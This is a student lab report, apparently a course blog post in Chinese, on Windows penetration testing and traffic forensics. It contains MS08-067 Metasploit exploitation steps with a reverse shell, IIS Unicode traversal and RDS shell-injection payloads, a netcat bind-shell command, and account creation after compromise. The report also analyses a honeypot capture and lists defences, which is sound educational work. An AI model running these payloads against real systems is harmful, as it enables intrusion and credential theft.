20252810 2025-2026-2 《网络攻防实践》实践六报告

20252810 2025-2026-2 《网络攻防实践》实践六报告

1.实践内容

本次实验覆盖了从主动漏洞利用到被动流量分析的完整攻击链条,主要包含以下三个维度的知识点:
一、 Metasploit 框架应用
MS08_067 漏洞利用
漏洞原理:了解微软Windows Server服务中的远程代码执行漏洞(CVE-2008-4250)。该漏洞影响SMBv1协议,允许攻击者在未打补丁的系统上远程执行任意代码。

漏洞影响:Windows 2000、XP、Server 2003、Server 2008等旧版操作系统。
利用过程:
msfconsole:进入Metasploit交互式控制台。
search ms08_067:在漏洞库中搜索目标漏洞的模块。
use exploit/windows/smb/ms08_067_netapi:加载对应的漏洞利用模块。
show options:查看当前模块需要配置的参数(靶机IP RHOST、本机IP LHOST等)。
show payloads:查看该漏洞可利用的载荷(payload,即攻击成功后执行的操作代码)。
set payload windows/shell_reverse_tcp:设置一个反向TCP Shell载荷,靶机会主动连接攻击者的IP和端口,从而获得Shell控制权。
exploit:执行攻击。

流量对比分析:在攻击过程中使用Wireshark抓包,筛选ip.addr == <攻击机IP> && ip.addr == <靶机IP>,对比攻击前后的网络流量特征。

二、 网络取证与流量分析
Wireshark过滤与追踪

使用ip.addr == 172.16.1.106 && http等组合过滤条件,精准定位特定主机和协议的流量。
使用“Follow--TCP Stream”功能,完整还原攻击者与靶机之间的整个会话过程。

IIS Unicode目录遍历漏洞(CVE-2000-0886)
原理:旧版IIS服务器对URL编码解析存在缺陷。攻击者利用%C0%AF等“超长编码”绕过路径检查。
利用方式:将%C0%AF与..组合,构造如/..%C0%AF../..%C0%AF../boot.ini的请求,实现目录向上跳转,读取系统敏感文件。

MSADC RDS DataFactory漏洞(CVE-1999-1011)
原理:微软RDS组件中的AdvancedDataFactory.Query方法允许执行SQL查询,但由于输入过滤不严,可被注入系统命令。

恶意行为:读取敏感文件、探测漏洞、植入后门、下载黑客工具。
识别蜜罐:通过发现README.NOW.Hax0r提示文件和/wiretrip目录下的安全工具,判断目标为实验室环境。
行为特征:非破坏性操作,如浏览文件、阅读源码、留下文本记录,符合“研究型”或“渗透测试者”的行为模式。

2.实践过程

1.动手实践Metasploit windows attacker
使用metasploit软件进行windows远程渗透统计实验。
首先查询kali和SP0的IP地址(kali:192.168.31.47)(SP0:192.168.31.100)并确保他们能ping通
image
image
在kali虚拟机上输入msfconsole指令,进入Metasploit框架的交互式环境
image
输入search ms08_067指令,查看ms08_067漏洞的全部信息
image
输入
use windows/smb/ms08_067_netapi
show options
命令,进入漏洞所在文件并查看攻击此漏洞需要的设置
image
输入show payloads显示ms08_067漏洞的载荷,选择第4个payload做攻击
image
设置攻击载荷配置命令,命令如下:
set payload generic/shell_reverse_tcp
set LHOST 192.168.31.47
set RHOST 192.168.31.100
image
运行命令:exploit进入到目标靶机的shell命令行之中
image
输入ipconfig/all查看IP验证
image
2.取证分析实践:解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。

首先,把学习通的文件下载下来,复制到kali并拖到到wireshark中
在wireshark中输入ip.addr == 172.16.1.106 && http,锁定攻击者与靶机之间的HTTP通信流量
image
选择一个可疑数据包跟踪TCP流,发现攻击者构造的恶意GET请求。
image%C0%AF 是 Unicode 字符的 UTF-8 编码,在 Unicode 中,/ 的代码点是 U+002F,其标准 UTF-8 编码是 0x2F,但 0xC0 0xAF 是对 U+002F 的 “超长编码”(overlong encoding),早期某些旧版本的 IIS 在处理 URL 时会错误地将 %C0%AF 解码为 /。

攻击者把 ..%C0%AF 组合起来,就相当于 ../(上级目录),由于 IIS 在 URL 规范化和安全检查时可能无法识别这种超长编码,但在后续文件系统访问时却被解释为 ../,从而实现了绕过。
发现大量针对 msadcs.dll 的 HTTP 请求
image
image
这个流量片段说明攻击者正在探测目标的 MSADC 漏洞,并且服务器响应表明该漏洞存在且可利用。结合之前读取 boot.ini 的 Unicode 攻击,攻击者已经成功收集了系统信息并发现了进一步的攻击向量。
追踪147号的 TCP 数据流
image
该流量片段完整展示了攻击者利用 RDS DataFactory 漏洞 执行远程命令的过程:通过 AdvancedDataFactory.Query 方法注入 |shell(...)| 代码,成功在目标服务器上创建了文件 c:\fun,并获得了命令执行能力。这是典型的 “验证性攻击” ,为后续深入控制做准备。
分析1233 号包。
image
利用 ..%C0%AF..(超长编码的 ../)绕过路径检查,向上跳转三级目录,最终定位到 Program Files\Common Files\System\msadc\cmd1.exe。通过查询参数执行命令 /c nc -l -p 6969 -e cmd1.exe,在目标主机上启动Netcat监听端口6969,并将 cmd1.exe(实际为cmd shell)绑定到该端口。
分析1102号
image
这段FTP会话记录了攻击者从一台Serv-U FTP服务器下载黑客工具的过程,具体关键内容如下:
服务器信息:Serv-U FTP-Server v2.5h,运行于Windows 95(充满恶搞标语)。
登录凭证:用户名 johna2k,密码 haxedj00,成功登录。
下载的文件(共3个):
nc.exe —— Netcat,用于网络连接、反弹shell等。
pdump.exe —— 从SAM文件中提取密码哈希的工具。
samdump.dll —— 配合pdump的库文件。
传输方式:使用PORT命令指定攻击机IP 172.16.1.106 和动态端口(主动模式),文件通过ASCII模式传输(实际应为二进制,但声明为ASCII)。
退出:QUIT,服务器返回嘲讽语。
分析4258号
image
攻击者成功获取了系统控制权(通过之前的MS08-067或RDS漏洞利用)且发现目标是一台蜜罐:因为看到 README.NOW.Hax0r 的提示信息,以及系统目录中存有大量公开漏洞工具(exploits、wiretrip),结合自身经验判断为实验室环境,最终明确写入 best honeypot i've seen till now 😃。
攻击者没有进行破坏性操作,仅浏览、阅读源码、留下文本文件,表现出“渗透测试者”或“研究型黑客”的行为特征。
Q1:攻击者使用了什么破解工具进行攻击
A1:攻击者主要使用了Rain.Forest.Puppy(rfp)编写的 msadc2.pl 漏洞利用脚本。该脚本是专门针对 MSADC(Microsoft Data Access Components)RDS DataFactory 漏洞开发的渗透工具,在 Metasploit 框架中也被收录为 msadc.rb 模块。此外,攻击者还使用了 Netcat(nc.exe) 作为后门工具建立网络监听,使用 pdump.exe 和 samdump.dll 进行后续的密码哈希提取。
从攻击者的操作特征来看:
POST 请求中包含了 AdvancedDataFactory.Query 方法调用,且 Content-Type 为 multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!,这是 msadc2.pl 脚本的典型特征标识
请求体中的 SQL 注入语法 |shell("...")| 正是该脚本实现远程命令执行的核心方式
User-Agent: ACTIVEDATA 也是 msadc2.pl 的默认 User-Agent 标识
此外,攻击者在浏览 C:\wiretrip 目录时发现了 msadc1.pl、msadc2.pl、whisker 扫描器、RFParalyze.c 等工具,这些工具同样出自 Rain.Forest.Puppy(rfp)的手笔。
因此,攻击者使用的核心工具是 msadc2.pl,辅以 Netcat 和 SAM 密码提取工具集。

Q2:攻击者如何使用这个破解工具进入并控制了系统
A2:攻击者通过 msadc2.pl 工具,利用 MSADC RDS DataFactory 漏洞(CVE-1999-1011) 实现了远程命令执行,并结合 IIS Unicode 目录遍历漏洞(CVE-2000-0886) 完成了整个攻击链。
(1)信息收集阶段
攻击者首先利用 IIS Unicode 目录遍历漏洞(%C0%AF 超长编码绕过)读取系统敏感文件:
GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini
通过 %C0%AF 三次向上跳转,成功读取到 C:\boot.ini,从中获得系统版本信息:Windows NT Server, Enterprise Edition Version 4.00。
(2)漏洞探测阶段
攻击者随后发送 GET 请求探测 /msadc/msadcs.dll 的存在:
GET /msadc/msadcs.dll HTTP/1.0
服务器返回 200 OK,且 Content-Type: application/x-varg,表明 MSADC RDS DataFactory 组件存在且可被远程调用,系统存在该漏洞。
(3)远程命令执行——验证阶段
攻击者通过 msadc2.pl 工具构造 POST 请求,向 AdvancedDataFactory.Query 方法注入恶意 SQL 语句:
Select * from Customers where City='|shell("cmd /c echo werd >> c:\fun")|'
|shell(...)| 语法是 RDS DataFactory 漏洞的核心利用方式,攻击者借此在目标服务器上执行了 cmd /c echo werd >> c:\fun,在 C 盘根目录创建 fun 文件并写入 werd 作为成功标记。
(4)后门植入阶段
确认命令执行能力后,攻击者利用之前的 Unicode 目录遍历漏洞,发送以下 GET 请求激活后门:
GET/msadc/..%C0%AF../..%C0%AF../..%C0%AF../program%20files/common%20files/system/msadc/cmd1.exe?/c+nc+-l+-p+6969+-e+cmd1.exe
该请求通过 ..%C0%AF.. 向上跳转三级目录后,定位到 Program Files\Common Files\System\msadc\cmd1.exe(攻击者通过 RDS 漏洞上传的后门程序),执行 /c nc -l -p 6969 -e cmd1.exe,在目标主机上启动 Netcat 监听 6969 端口,并将 cmd1.exe 绑定到该端口,形成一个绑定 shell(bind shell)。攻击者随后连接目标主机的 6969 端口即可获得远程命令行控制权。
至此,攻击者成功获得了系统的访问权。

Q3:攻击者获得系统访问权限后做了什么
A3:攻击者在成功获得 Shell 访问后进行了以下操作:
(1)环境探测与信息收集
执行 cd 命令逐级浏览目录结构,从 C:\Program Files\Common Files\System\msadc 逐步向上回溯至根目录
执行 dir 命令查看各目录下的文件和子目录清单
读取 C:\boot.ini 确认系统版本(Windows NT 4.0)
通过 type 命令查看多个文件内容,包括 README.NOW.Hax0r、har.txt、rfp.txt、yay.txt 以及多个漏洞利用源码文件
(2)浏览攻击工具集
进入 C:\exploits\unix\tcp-exploits 目录,查看大量 C 语言漏洞利用源码(如 ALLHOSTS.C、CSIRCSEQ.C、bounce.c、TSPOOF.C 等)
使用 type 命令查看 ALLHOSTS.C 和 CSIRCSEQ.C 的完整源码内容(IRC 序列号欺骗攻击工具)
浏览 C:\wiretrip 目录,发现 msadc1.pl、msadc2.pl、RFParalyze.c、RFPoison.c、whisker 扫描器等工具
(3)判断目标属性并留下标记
阅读 README.NOW.Hax0r 文件,其内容为 Hi, i know that this a ..is a lab server, but patch the holes! 😃,攻击者据此意识到这是一个实验室服务器/蜜罐环境
在根目录创建 rfp.txt 文件,写入内容 best honeypot i've seen till now 😃,明确标注其判断结论
在 C:\InetPub\wwwroot 中创建 test.txt,写入 this can't be true
复制 default.htm 为 default.html,并向 default.htm 追加一个点(. >>default.htm)
(4)其他操作
执行 rmdir test 删除之前创建的 test 目录
尝试切换盘符(D:、A:),但均失败
最后执行 exit 退出 Shell
核心结论:攻击者在获得系统控制权后没有进行破坏性操作(如删除文件、篡改网站内容、安装持久化后门等),而是以浏览、阅读源码、创建文本标记为主,表现出典型的 “渗透测试者”或“研究型黑客” 的行为特征。

Q4:我们如何防止这样的攻击
A4:针对本次攻击所涉及的两个核心漏洞,建议从以下层面进行防护:
(一)IIS Unicode 目录遍历漏洞(CVE-2000-0886)的防护
安装安全补丁:微软已发布 MS00-057、MS01-044 等补丁修复该漏洞。对于 IIS 4.0,安装 Windows NT 4.0 Security Rollup Package;对于 IIS 5.0,安装 Windows 2000 Security Patch MS00-078 或更新版本
升级 IIS 版本:IIS 4.0 和 5.0 已停止维护,应升级到更新版本(如 IIS 6.0+ 并打全补丁,或迁移至 IIS 7.0+)
输入过滤与 URL 规范化:在 WAF 或 IIS URLScan 中拦截包含 %C0%AF、%c0%af、%C1%9C 等超长 Unicode 编码的恶意请求
限制目录权限:按照最小权限原则,严格限制 IUSR 账户对敏感目录和文件的访问权限
(二)MSADC RDS DataFactory 漏洞(CVE-1999-1011)的防护
删除 MSADC 虚拟目录:从默认网站中删除 /msadc 虚拟目录
删除注册表中的 ADCLaunch 键值:删除以下三个注册表键:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\RDSServer.DataFactory
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\AdvancedDataFactory
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\VbBusObj.VbBusObjCls
安装 MDAC 安全补丁:微软已发布 MS98-004、MS99-025 等补丁修复该漏洞
禁用匿名访问 RDS:如果业务需要保留 RDS 功能,配置为只允许受信任的主机访问
删除 RDS 示例页面:删除 %systemdrive%\program files\common files\system\msadc\samples 目录及其所有内容
(三)综合防护措施
部署 WAF:配置规则拦截包含 /msadc/ 路径、AdvancedDataFactory.Query、|shell( 等特征的恶意请求
关闭不必要的服务:禁用 WebDAV 扩展、SMBv1 协议等
日志监控与告警:监控 Web 服务器日志中针对 /msadc/ 路径的访问请求,以及包含 %C0%AF 等异常编码的 URL
定期安全扫描:使用漏洞扫描工具定期检测系统中是否存在已知漏洞
服务器加固:遵循安全基线配置指南进行系统加固

Q5:你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
A5:是的,攻击者明确警觉并判断出目标是一台蜜罐主机。
判断依据:
README.NOW.Hax0r 文件的内容提示:攻击者在浏览根目录时发现 README.NOW.Hax0r 文件,其内容为:
Hi, i know that this a ..is a lab server, but patch the holes! 😃
这表明目标主机上存在一份直接说明“这是一个实验室服务器”的提示文件,攻击者由此意识到自己处于一个受控的实验环境中。
系统目录中存有大量公开漏洞工具:攻击者在 C:\wiretrip 目录中发现了 msadc1.pl、msadc2.pl、whisker 扫描器、RFParalyze.c 等工具,这些都是知名安全研究人员 Rain.Forest.Puppy(rfp)公开的安全测试工具。在真实的生产服务器上,不应该存在这样的目录和文件。这一异常现象强烈提示攻击者:这是一个由安全研究人员部署的蜜罐系统。
攻击者留下的明确文字记录:攻击者在根目录创建了 rfp.txt 文件,内容为:
best honeypot i've seen till now 😃
这句评价直接表明攻击者已经确认自己正在攻击一个蜜罐系统,并且对该蜜罐的仿真度给予了“最佳”的正面评价。
攻击者行为的特殊性:攻击者在获得系统访问权限后没有进行任何破坏性操作(如安装后门、加密勒索、破坏数据等),而仅仅是浏览目录、阅读源码、留下文本文件。这种行为模式不符合典型的恶意攻击者特征,更符合“渗透测试者”或“安全研究人员”在被识别出蜜罐后的探索性行为模式。
3.(3)团队对抗实践:windows系统远程渗透攻击和分析。
依旧用实验1的两台机器完成实验,注意网络要改成桥接模式(这里我的网络环境变了,所以IP与上面不同)
kali:10.30.48.172
SP0:10.30.48.200
在kali虚拟机上输入msfconsole指令,进入Metasploit框架的交互式环境
image
输入search ms08_067指令,查看ms08_067漏洞的全部信息
image
输入
use windows/smb/ms08_067_netapi
show options
命令,进入漏洞所在文件并查看攻击此漏洞需要的设置,输入
show payloads显示ms08_067漏洞的载荷,选择1个payload做攻击设置攻击载荷配置命令,命令如下:
set payload generic/shell_reverse_tcp
set LHOST 10.30.48.172
set RHOST 10.30.48.200
运行命令:exploit
image
image
image
接下来做一系列完整的后渗透实验查看系统信息(版本、补丁、架构)
接着输入cd dir
image
创建一个新用户(net user testuser 123456 /add)

并查看新用户是否创建成功(net user testuser)

image
打开wireshark输入筛选条件ip.addr == 10.30.48.172 && ip.addr == 10.30.48.200
image

3.学习中遇到的问题及解决

  • 问题1:一开始是在w2k那台靶机上面写的作业,但是实验一总是攻击不成功,后面多方询问ai貌似是这个漏洞被补上了

  • 问题1解决方案:多方实验还是不成功,随后放弃换了sp0

  • 问题2:sp0和kali ping不通

  • 问题2解决方案:修改网段

  • 问题3:输入筛选条件ip.addr == 10.30.48.172 && ip.addr == 10.30.48.200没反应

  • 问题3解决方案:重新打开wireshark并输入指令就可以捕捉到了

4.实践总结

本次实验让我对Windows系统远程渗透攻击有了更直观的认识。首先,我用Metasploit工具对MS08_067漏洞进行攻击,成功拿到了靶机的Shell,并尝试了创建用户等后渗透操作,学会了如何配置攻击参数和选择载荷。其次,通过分析Wireshark抓到的攻击流量,我亲眼看到了攻击者如何利用IIS的Unicode漏洞(比如用%C0%AF绕过路径检查)读取boot.ini文件,又如何利用MSADC组件的漏洞执行系统命令,然后上传Netcat后门来控制系统。整个过程让我明白,一次成功的攻击往往需要多个漏洞配合,并且攻击者的每一个操作都会在网络流量中留下痕迹。最后,我也学到了相应的防御方法,比如及时打补丁、删除不必要的服务和虚拟目录、用WAF拦截恶意请求等。总的来说,这次实验不仅锻炼了动手能力,也让我更清楚“知己知彼”的道理——只有知道攻击者怎么干,才能更好地加固自己的系统。

posted @ 2026-04-24 17:52  小熊维迪  阅读(6)  评论(0)    收藏  举报